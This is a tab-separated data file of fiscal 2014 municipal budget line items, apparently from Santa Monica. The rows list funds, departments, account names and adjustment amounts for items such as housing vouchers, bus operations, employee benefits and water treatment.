11797	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400881.0	SPC HAP SU02	610.0	Intergovernmental	2014	-64240.0	0	0	0	0	0	0.0	64240	0	0	0	0.0	0.0
11798	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
11799	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	15314.0	0	0	0	0	226	314.0	0	0	0	0	0.0	15854.0
11800	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	176323.0	0	0	0	0	0	0.0	0	0	0	0	0.0	176323.0
11801	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	201974.0	0	0	0	0	3070	0.0	0	0	0	0	0.0	205044.0
11802	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
11803	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
11804	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2014	18372.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18372.0
11805	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		EAP	816.0	Salaries and Wages	2014	1762.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1762.0
11806	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	10771.0	0	0	0	0	145	0.0	0	0	0	0	0.0	10916.0
11807	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2014	104.0	0	0	0	0	0	0.0	0	0	0	0	0.0	104.0
11808	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2014	16932.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16932.0
11809	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 HAP VOUCHERS	610.0	Intergovernmental	2014	-12023259.0	0	0	0	0	0	0.0	12023259	0	0	0	0.0	0.0
11810	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561430.0	STEP OFF THE STREETS SHP		 Supplies and Expenses	2014	13458.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13458.0
11811	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563126.0	WISE CONGREGATE MEALS		 Supplies and Expenses	2014	235903.0	0	0	0	0	0	0.0	0	0	0	0	0.0	235903.0
11812	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577726.0	ST JOE -FAM SELF SUF PRG-CDBG	810.0	 Supplies and Expenses	2014	62321.0	0	0	0	0	0	0.0	0	0	0	0	0.0	62321.0
11813	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577727.0	WCIL HOME ACCESS PROG-CDBG	810.0	 Supplies and Expenses	2014	36644.0	0	0	0	0	0	0.0	0	0	0	0	0.0	36644.0
11814	B1	IS	33	Airport Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	375.0	0	0	0	0	0	0.0	0	0	0	0	18565.0	18940.0
11815	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404211.0	OTHER OPER REV-OUTSIDE ADVERTI	650.0	Charges for Service	2014	-250000.0	0	0	0	0	0	-153000.0	0	0	0	0	0.0	-403000.0
11816	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2014	123474.0	0	0	0	0	0	0.0	0	0	0	0	0.0	123474.0
11817	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2014	713.0	0	0	0	0	0	0.0	0	0	0	0	0.0	713.0
11818	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2014	8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8000.0
11819	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2014	103.0	0	0	0	0	0	0.0	0	0	0	0	0.0	103.0
11820	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	404180.0	WATERSMART GRANT PH1	610.0	Intergovernmental	2014	0.0	0	0	0	-192257	0	0.0	0	0	0	0	0.0	-192257.0
11821	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522620.0	RENT	804.0	 Supplies and Expenses	2014	42081.0	0	0	0	0	0	0.0	0	0	0	0	0.0	42081.0
11822	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522550.0	AD POSTINGS (CCB)		 Supplies and Expenses	2014	36000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	36000.0
11823	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	569340.0	EMERGENCY ACCOMODATIONS	816.0	 Supplies and Expenses	2014	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
11824	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	405719.0	0	0	0	0	5677	0.0	0	0	0	0	0.0	411396.0
11825	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	511748.0	DENTAL	804.0	Salaries and Wages	2014	3466.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3466.0
11826	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-14684.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-14684.0
11827	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-22924.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-22924.0
11828	B1	IS	1	General Fund	310	FIRE	315	TRAINING	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-12065.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12065.0
11829	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-21565.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-21565.0
11830	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-21366.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-21366.0
11831	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		EAP	804.0	Salaries and Wages	2014	722.0	0	0	0	0	0	0.0	0	0	0	0	0.0	722.0
11832	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511748.0	DENTAL	816.0	Salaries and Wages	2014	17434.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17434.0
11833	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511920.0	UNIFORM / TOOL ALLOWANCE	816.0	Salaries and Wages	2014	0.0	0	0	0	0	870	0.0	0	0	0	0	0.0	870.0
11834	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522720.0	MILEAGE	816.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
11835	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
11836	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405610.0	LAWN BOWLING	612.0	Charges for Service	2014	-1715.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1715.0
11837	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562270.0	ST. JOHN'S CFDC-ROGERS LEARNIN		 Supplies and Expenses	2014	60466.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60466.0
11838	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522340.0	BUY LOCAL CAMPAIGN		 Supplies and Expenses	2014	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
11839	B1	IS	11	Beach Recreation Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	810.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	46844.0	46844.0
11840	B1	IS	30	Pier Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	25948.0	25948.0
11841	B1	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	10077.0	10077.0
11842	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2014	5228.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5228.0
11843	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	220375.0	0	0	0	0	3205	0.0	0	0	0	0	0.0	223580.0
11844	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	3242.0	0	0	0	0	11	0.0	0	0	0	0	0.0	3253.0
11845	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT		DCAP		Salaries and Wages	2014	144.0	0	0	0	0	0	0.0	0	0	0	0	0.0	144.0
11846	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522180.0	BANK FEES		 Supplies and Expenses	2014	410.0	0	0	0	0	0	0.0	0	0	0	0	0.0	410.0
11847	B1	IS	44	SCAQMD AB 2766 Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	407830.0	AQMD MSRC DISCRETIONARY FUNDS	610.0	Intergovernmental	2014	-149925.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-149925.0
11848	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511490.0	OVERTIME	808.0	Salaries and Wages	2014	84907.0	0	0	0	0	0	1805.0	0	0	0	0	0.0	86712.0
11849	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		UNEMPLOYMENT	808.0	Salaries and Wages	2014	10011.0	0	0	0	0	151	34.0	0	0	0	0	0.0	10196.0
11850	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	450000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	450000.0
11851	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533210.0	BLDG OPER / CUST SUPPLIES	808.0	 Supplies and Expenses	2014	20500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20500.0
11852	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544290.0	OTHER MATERIALS AND SUPPLIES	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0	3924	0.0	0	0	0	0	0.0	3924.0
11853	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555210.0	TRAINING	816.0	 Supplies and Expenses	2014	7625.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7625.0
11854	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2014	2612.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2612.0
11855	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408010.0	REVIEW OF PLANNING APPLICATION	612.0	Charges for Service	2014	-12000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12000.0
11856	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408020.0	TRAFFIC CONTROL	612.0	Charges for Service	2014	-2725.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2725.0
11857	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	400601.0	REVIEW OF PUBLIC ROW APPLICATI	612.0	Charges for Service	2014	-103349.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-103349.0
11858	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-4033.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-4033.0
11859	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-6361.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6361.0
11860	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-5620.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5620.0
11861	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2014	-18195.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-18195.0
11862	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-2022.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2022.0
11863	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-3825.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3825.0
11864	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-15995.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-15995.0
11865	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-18389.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-18389.0
11866	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	15.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15.0
11867	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409004.0	CHILDCARE-DECEMBER	612.0	Charges for Service	2014	-35467.0	0	0	0	0	0	0.0	35467	0	0	0	0.0	0.0
11868	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409022.0	ENRICHMENT-WINTER	612.0	Charges for Service	2014	-103983.0	0	0	0	0	0	0.0	103983	0	0	0	0.0	0.0
11869	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544460.0	HOMELESS COUNT	810.0	 Supplies and Expenses	2014	4121.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4121.0
11870	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409006.0	CHILDCARE-FEBRUARY	612.0	Charges for Service	2014	-31130.0	0	0	0	0	0	0.0	31130	0	0	0	0.0	0.0
11871	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409023.0	ENRICHMENT-SPRING	612.0	Charges for Service	2014	-86408.0	0	0	0	0	0	0.0	86408	0	0	0	0.0	0.0
11872	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409031.0	CAMP SM-WINTER	612.0	Charges for Service	2014	-6393.0	0	0	0	0	0	0.0	6393	0	0	0	0.0	0.0
11873	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555430.0	WASTE DISPOSAL (BRINING)	808.0	 Supplies and Expenses	2014	650000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	650000.0
11874	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402800.0	NAME PLATES / BENCHES	650.0	Charges for Service	2014	-16913.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-16913.0
11875	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402820.0	FLOWER SALES	650.0	Charges for Service	2014	-16728.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-16728.0
11876	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EAP		Salaries and Wages	2014	614.0	0	0	0	0	0	0.0	0	0	0	0	0.0	614.0
11877	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	16090.0	0	0	0	0	187	0.0	0	0	0	0	0.0	16277.0
11878	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511749.0	VISION	804.0	Salaries and Wages	2014	1659.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1659.0
11879	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	209087.0	0	0	0	0	3091	0.0	0	0	0	0	0.0	212178.0
11880	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	3894.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3894.0
11881	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2014	72000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72000.0
11882	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	533030.0	PROPERTY INSURANCE	854.0	 Supplies and Expenses	2014	54095.0	0	0	0	0	0	0.0	0	0	0	0	0.0	54095.0
11883	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2014	38572.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38572.0
11884	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533040.0	SPECIAL INSURANCE	806.0	 Supplies and Expenses	2014	9368.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9368.0
11885	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	533040.0	SPECIAL INSURANCE	810.0	 Supplies and Expenses	2014	2100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2100.0
11886	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400394.0	HAP REVENUE - PORTS	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-300000	0	0	0	0.0	-300000.0
11887	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400923.0	SPC ADMIN SU05	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	-27417	0	0	0	0.0	-27417.0
11888	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400884.0	SPC HAP EXPANSION	610.0	Intergovernmental	2014	-214044.0	0	0	0	0	0	0.0	214044	0	0	0	0.0	0.0
11889	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	103825.0	0	0	0	0	0	0.0	0	0	0	0	0.0	103825.0
11890	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511491.0	OVERTIME CONTINGENCY	806.0	Salaries and Wages	2014	400000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	400000.0
11891	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401890.0	WIRELESS FACILITY FEES	612.0	Charges for Service	2014	-1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1000.0
11892	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408020.0	TRAFFIC CONTROL	612.0	Charges for Service	2014	-87275.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-87275.0
11893	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	533420.0	ENGINEERING-TRANS OUT TO 01 FD	910.0	 Supplies and Expenses	2014	232291.0	0	0	0	0	0	0.0	0	0	0	0	0.0	232291.0
11894	B1	IS	4	Special Revenue Source Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	404050.0	ENERGY EFFICIENCY REBATES	622.0	Other	2014	-25871.0	0	0	0	0	0	-25916.0	0	0	0	0	0.0	-51787.0
11895	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	566500.0	RECRUITMENT	806.0	 Supplies and Expenses	2014	20500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20500.0
11896	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544011.0	CHEMICALS	808.0	 Supplies and Expenses	2014	166381.0	0	0	0	0	0	0.0	0	0	0	0	0.0	166381.0
11897	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555430.0	WASTE DISPOSAL (BRINING)	808.0	 Supplies and Expenses	2014	57293.0	0	0	0	0	0	0.0	0	0	0	0	0.0	57293.0
11898	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	4794.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4794.0
11899	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-3037.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3037.0
11900	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2014	513.0	0	0	0	0	0	0.0	0	0	0	0	0.0	513.0
11901	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	336.0	0	0	0	0	0	0.0	0	0	0	0	0.0	336.0
11902	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544199.0	OTHER MATERIALS AND SUPPLIES		 Supplies and Expenses	2014	130000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	130000.0
11903	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2014	1825.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1825.0
11904	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562701.0	OLDER YOUTH SET-ASIDE		 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
11905	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-10250.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10250.0
11906	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	628598.0	0	0	0	0	9257	13346.0	0	0	0	0	0.0	651201.0
11907	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2014	3941.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3941.0
11908	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-5059.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-5059.0
11909	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		EAP	804.0	Salaries and Wages	2014	826.0	0	0	0	0	0	41.0	0	0	0	0	0.0	867.0
11910	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	3000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3000.0
11911	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	5100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5100.0
11912	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	5883.0	0	0	0	0	77	0.0	0	0	0	0	0.0	5960.0
11913	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	8576.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8576.0
11914	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-14441.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-14441.0
11915	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	1452.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1452.0
11916	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	4100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4100.0
11917	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2014	-8141.0	0	0	0	0	-1714	0.0	0	0	0	0	0.0	-9855.0
